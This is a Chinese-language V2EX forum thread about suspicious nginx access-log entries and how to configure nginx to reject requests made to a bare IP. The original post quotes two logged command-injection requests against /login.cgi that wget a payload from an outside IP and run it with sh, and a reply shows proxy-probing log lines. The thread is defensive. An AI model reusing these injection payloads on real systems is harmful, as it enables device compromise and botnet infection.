首页   注册   登录
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
NGINX
NGINX Trac
3rd Party Modules
Security Advisories
CHANGES
OpenResty
ngx_lua
Tengine
在线学习资源
NGINX 开发从入门到精通
NGINX Modules
ngx_echo
拉钩
V2EX  ›  NGINX

nginx 安全问题

  •  1
     
  •   bephbin · 115 天前 · 2789 次点击
    这是一个创建于 115 天前的主题,其中的信息可能已经有所发展或是发生改变。

    翻看 access.log 时发现有 2 条记录疑似 web 攻击

    日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

    41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

    208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

    我从日志也看不出是通过哪个 host 访问的

    请问这个 400 状态会有安全问题吗?

    能否把这种请求返回 444 状态码?

    14 回复  |  直到 2018-08-24 10:28:38 +08:00
        1
    billlee   115 天前
    扫描而已,不用太紧张
        2
    voocel   115 天前 via Android
    不要慌,问题不大
        3
    iCodex   115 天前
    实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
        4
    Livid   V2EX Moderator   115 天前
    如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

    这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
        5
    lslqtz   115 天前
    对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
        6
    luozic   115 天前 via iPhone
    非合法链接直接跳个统一 404
        7
    totland   115 天前
    ip 访问 return444 就行了
        8
    sujin190   115 天前
    如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
        9
    huangzxx   114 天前
    ip 访问,返回 444

    ```
    server {
    listen 80 default_server;
    server_name _;
    return 301 https://$host$request_uri;
    }

    server {
    listen 443 default_server ssl http2;
    server_name _;

    include ssl/ssl.conf;

    location / {
    return 444;
    }

    access_log off;
    }

    ```
        10
    bephbin   114 天前
    @iCodex
    @Livid
    @luozic
    @sujin190
    @huangzxx


    谢谢各位的回答

    自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
        11
    luozic   114 天前
    返回 444 干吊,直接扔 404 默认不行么?
        12
    Livid   V2EX Moderator   114 天前
    有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
        13
    ztlong   113 天前
    不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
    [24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    [24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
    [24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
        14
    ztlong   113 天前
    这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'
    关于   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   2135 人在线   最高记录 4019   ·  
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.1 · 17ms · UTC 02:35 · PVG 10:35 · LAX 18:35 · JFK 21:35
    ♥ Do have faith in what you're doing.
    沪ICP备16043287号-1